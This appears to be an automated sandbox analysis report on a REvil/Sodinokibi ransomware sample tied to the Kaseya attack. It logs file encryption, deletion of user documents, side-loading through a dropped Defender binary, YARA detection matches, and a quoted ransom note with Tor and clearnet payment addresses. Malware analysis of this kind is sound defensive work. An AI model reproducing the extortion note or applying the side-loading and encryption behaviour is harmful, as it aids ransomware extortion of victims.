        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\pictures\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\public\videos\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files (x86)\microsoft sql server\110\shared\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\akjimdeqmb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\atjbemhssb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\bufzsqpcoh\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\bwdrweeari\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\bwetzdqdib\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\evcmenbqhp\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\gnlqnholwb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\hygztmobzn\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\izmfbfkmeb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\kbiftjwhnz\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\whzagpppla\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\desktop\zuyydjdfvf\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\atjbemhssb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\aztrjhkcvr\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\bufzsqpcoh\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\bwdrweeari\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\bwetzdqdib\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\byimnpjcrl\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\evcmenbqhp\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\gnlqnholwb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\izmfbfkmeb\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\kbiftjwhnz\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\whzagpppla\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\documents\zuyydjdfvf\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\favorites\links\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\pictures\camera roll\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\microsoftedgebackup20200930\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\microsoftedgebackup20200930\datastorebackup\z4ra2w5g-readme.txtJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\user\microsoftedgebackups\backups\microsoftedgebackup20200930\protected - it is a violation of windows policy to modify\z4ra2w5g-readme.txtJump to behavior
        Source: revil.exeStatic PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
        Source: Binary string: MsMpEng.pdb source: revil.exe
        Source: C:\Windows\MsMpEng.exeFile opened: z:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: x:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: v:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: t:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: r:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: p:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: n:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: l:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: j:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: h:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: f:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: d:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: b:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: y:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: w:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: u:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: s:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: q:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: o:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: m:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: k:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: i:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: g:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: e:Jump to behavior
        Source: C:\Windows\SysWOW64\netsh.exeFile opened: c:Jump to behavior
        Source: C:\Windows\MsMpEng.exeFile opened: a:Jump to behavior
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_0016529F FindFirstFileExW,0_2_0016529F
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A8122 FindFirstFileExW,FindFirstFileW,FindNextFileW,FindClose,1_2_029A8122

        Networking:

        barindex
        Found Tor onion addressShow sources
        Source: MsMpEng.exe, 00000001.00000003.650047553.000000000337C000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID}
        Source: MsMpEng.exe, 00000001.00000002.918179147.000000000337C000.00000004.00000040.sdmpString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C6DAF927BB6748F
        Source: z4ra2w5g-readme.txt46.1.drString found in binary or memory: b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C6DAF927BB6748F
        Source: MsMpEng.exe, 00000001.00000003.650047553.000000000337C000.00000004.00000040.sdmpString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/
        Source: MsMpEng.exe, 00000001.00000002.918179147.000000000337C000.00000004.00000040.sdmp, z4ra2w5g-readme.txt46.1.drString found in binary or memory: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C6DAF927BB6748F
        Source: revil.exeString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
        Source: revil.exeString found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
        Source: revil.exeString found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
        Source: MsMpEng.exe, 00000001.00000003.650047553.000000000337C000.00000004.00000040.sdmpString found in binary or memory: http://decoder.re/
        Source: MsMpEng.exe, 00000001.00000002.918179147.000000000337C000.00000004.00000040.sdmp, z4ra2w5g-readme.txt46.1.drString found in binary or memory: http://decoder.re/3C6DAF927BB6748F
        Source: revil.exeString found in binary or memory: http://ocsp.comodoca.com0
        Source: revil.exeString found in binary or memory: http://ocsp.sectigo.com0
        Source: revil.exeString found in binary or memory: http://www.openssl.org/support/faq.html
        Source: revil.exeString found in binary or memory: https://sectigo.com/CPS0
        Source: MsMpEng.exe, 00000001.00000003.650047553.000000000337C000.00000004.00000040.sdmp, z4ra2w5g-readme.txt46.1.drString found in binary or memory: https://torproject.org/
        Source: revil.exe, 00000000.00000002.650225215.00000000012DA000.00000004.00000020.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

        Spam, unwanted Advertisements and Ransom Demands:

        barindex
        Found ransom note / readmeShow sources
        Source: C:\z4ra2w5g-readme.txtDropped file: ---=== Welcome. Again. ===---[-] Whats HapPen? [-]Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension z4ra2w5g.By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).[+] What guarantees? [+]Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee.If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money.[+] How to get access on website? [+]You have two ways:1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C6DAF927BB6748F2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decoder.re/3C6DAF927BB6748FWarning: secondary website can be blocked, thats why first variant much beJump to dropped file
        Yara detected Sodinokibi RansomwareShow sources
        Source: Yara matchFile source: 00000001.00000003.649759193.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.650121407.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.649936181.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.649851083.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.649708286.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.650242625.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.650215316.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.823910328.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000001.00000003.649804113.00000000033F8000.00000004.00000040.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MsMpEng.exe PID: 6972, type: MEMORY
        Contains functionalty to change the wallpaperShow sources
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A4EFA GetDC,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetDeviceCaps,MulDiv,CreateFontW,SelectObject,SetBkMode,SetTextColor,GetStockObject,FillRect,SetPixel,DrawTextW,SystemParametersInfoW,DeleteObject,DeleteObject,DeleteDC,ReleaseDC,1_2_029A4EFA
        Modifies existing user documents (likely ransomware behavior)Show sources
        Source: C:\Windows\MsMpEng.exeFile moved: C:\Users\user\Desktop\IZMFBFKMEB\GNLQNHOLWB.xlsxJump to behavior
        Source: C:\Windows\MsMpEng.exeFile deleted: C:\Users\user\Desktop\IZMFBFKMEB\GNLQNHOLWB.xlsxJump to behavior
        Source: C:\Windows\MsMpEng.exeFile moved: C:\Users\user\Desktop\IZMFBFKMEB\IZMFBFKMEB.docxJump to behavior
        Source: C:\Windows\MsMpEng.exeFile deleted: C:\Users\user\Desktop\IZMFBFKMEB\IZMFBFKMEB.docxJump to behavior
        Source: C:\Windows\MsMpEng.exeFile moved: C:\Users\user\Desktop\ERWQDBYZVW.pngJump to behavior

        System Summary:

        barindex
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A5C85 NtShutdownSystem,ExitWindowsEx,1_2_029A5C85
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A5DA9 DeleteService,1_2_029A5DA9
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A5C85 NtShutdownSystem,ExitWindowsEx,1_2_029A5C85
        Source: C:\Users\user\Desktop\revil.exeFile created: C:\Windows\mpsvc.dllJump to behavior
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_0016B16D0_2_0016B16D
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D52034C1_2_6D52034C
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C75001_2_6D4C7500
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D52B5031_2_6D52B503
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C4DE01_2_6D4C4DE0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4E14401_2_6D4E1440
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4D6C001_2_6D4D6C00
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4CBCC01_2_6D4CBCC0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4EDCE01_2_6D4EDCE0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C4FF01_2_6D4C4FF0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4D56401_2_6D4D5640
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4D3E501_2_6D4D3E50
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D52F66E1_2_6D52F66E
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C46201_2_6D4C4620
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C86301_2_6D4C8630
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D5301521_2_6D530152
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4D29E01_2_6D4D29E0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4EE9B01_2_6D4EE9B0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4E18101_2_6D4E1810
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C80301_2_6D4C8030
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D5308FA1_2_6D5308FA
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4D2B601_2_6D4D2B60
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4CD3001_2_6D4CD300
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4D73101_2_6D4D7310
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4C8B301_2_6D4C8B30
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D52FBE01_2_6D52FBE0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D4D5A601_2_6D4D5A60
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D5292F01_2_6D5292F0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_6D531AB01_2_6D531AB0
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029AC41F1_2_029AC41F
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A92521_2_029A9252
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029AB78A1_2_029AB78A
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A8FF41_2_029A8FF4
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A97751_2_029A9775
        Source: Joe Sandbox ViewDropped File: C:\Windows\MsMpEng.exe 33BC14D231A4AFAA18F06513766D5F69D8B88F1E697CD127D24FB4B72AD44C7A
        Source: C:\Windows\MsMpEng.exeCode function: String function: 6D4C2430 appears 65 times
        Source: C:\Windows\MsMpEng.exeCode function: String function: 6D525CA0 appears 36 times
        Source: C:\Windows\MsMpEng.exeCode function: String function: 6D51FEE0 appears 126 times
        Source: C:\Windows\MsMpEng.exeCode function: String function: 6D4C2840 appears 84 times
        Source: revil.exeStatic PE information: invalid certificate
        Source: revil.exeStatic PE information: invalid certificate
        Source: revil.exeStatic PE information: Resource name: MODLIS type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
        Source: revil.exeStatic PE information: Resource name: SOFTIS type: PE32 executable (GUI) Intel 80386, for MS Windows
        Source: revil.exe, 00000000.00000000.648423889.0000000000175000.00000002.00020000.sdmpBinary or memory string: OriginalFilenameMsMpEng.exeZ vs revil.exe
        Source: revil.exeBinary or memory string: OriginalFilenameMsMpEng.exeZ vs revil.exe
        Source: revil.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
        Source: revil.exe, type: SAMPLEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 0.2.revil.exe.17a790.1.raw.unpack, type: UNPACKEDPEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 1.2.MsMpEng.exe.6d4c0000.3.unpack, type: UNPACKEDPEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 0.2.revil.exe.1750c0.2.raw.unpack, type: UNPACKEDPEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 0.0.revil.exe.1750c0.2.raw.unpack, type: UNPACKEDPEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 0.0.revil.exe.17a790.1.raw.unpack, type: UNPACKEDPEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 0.2.revil.exe.160000.0.unpack, type: UNPACKEDPEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 0.0.revil.exe.160000.0.unpack, type: UNPACKEDPEMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: 00000001.00000002.917270010.0000000000F60000.00000040.00000001.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: 00000001.00000002.917636237.00000000029A0000.00000040.00000001.sdmp, type: MEMORYMatched rule: MAL_RANSOM_REvil_Oct20_1 date = 2020-10-13, hash4 = fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501, hash3 = f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d, hash2 = f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5, hash1 = 5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4, author = Florian Roth, description = Detects REvil ransomware, reference = Internal Research
        Source: C:\Windows\mpsvc.dll, type: DROPPEDMatched rule: APT_MAL_REvil_Kaseya_Jul21_2 date = 2021-07-02, hash5 = d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20, hash4 = d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f, hash3 = cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6, hash2 = 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd, hash1 = 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402, author = Florian Roth, description = Detects malware used in the Kaseya supply chain attack, hash6 = e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2, reference = https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b
        Source: classification engineClassification label: mal100.rans.evad.winEXE@7/216@0/1
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A5508 GetDriveTypeW,GetDiskFreeSpaceExW,1_2_029A5508
        Source: C:\Windows\MsMpEng.exeCode function: 1_2_029A7FC1 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,OpenThread,SetThreadToken,Thread32Next,1_2_029A7FC1
        Source: C:\Users\user\Desktop\revil.exeCode function: 0_2_001610F2 FindResourceW,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,LockResource,CreateProcessW,0_2_001610F2
        Source: C:\Windows\MsMpEng.exeFile created: c:\program files\tmpJump to behavior
        Source: C:\Windows\MsMpEng.exeFile created: c:\users\tmpJump to behavior
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1424:120:WilError_01
        Source: C:\Windows\MsMpEng.exeMutant created: \Sessions\1\BaseNamedObjects\Global\422BE415-4098-BB75-3BD9-3E62EE8E8423
        Source: C:\Users\user\Desktop\revil.exeCommand line argument: SOFTIS0_2_001610F2
        Source: C:\Users\user\Desktop\revil.exeCommand line argument: MODLIS0_2_001610F2
        Source: C:\Users\user\Desktop\revil.exeCommand line argument: mpsvc.dll0_2_001610F2
        Source: C:\Users\user\Desktop\revil.exeCommand line argument: MsMpEng.exe0_2_001610F2
        Source: revil.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
        Source: C:\Windows\MsMpEng.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\CIMV2 : SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA &apos;Win32_Process&apos;
        Source: C:\Windows\MsMpEng.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle=&quot;5884&quot;::GetOwner
        Source: C:\Windows\MsMpEng.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle=&quot;4812&quot;::GetOwner
        Source: C:\Windows\MsMpEng.exeWMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : \\computer\root\CIMV2:Win32_Process.Handle=&quot;7000&quot;::GetOwner
        Source: C:\Windows\MsMpEng.exeFile read: C:\$Recycle.Bin\S-1-5-21-3853321935-2125563209-4053062332-1002\desktop.iniJump to behavior
        Source: C:\Users\user\Desktop\revil.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: revil.exeVirustotal: Detection: 47%
        Source: revil.exeMetadefender: Detection: 14%
        Source: revil.exeReversingLabs: Detection: 15%
        Source: revil.exeString found in binary or memory: set-addPolicy
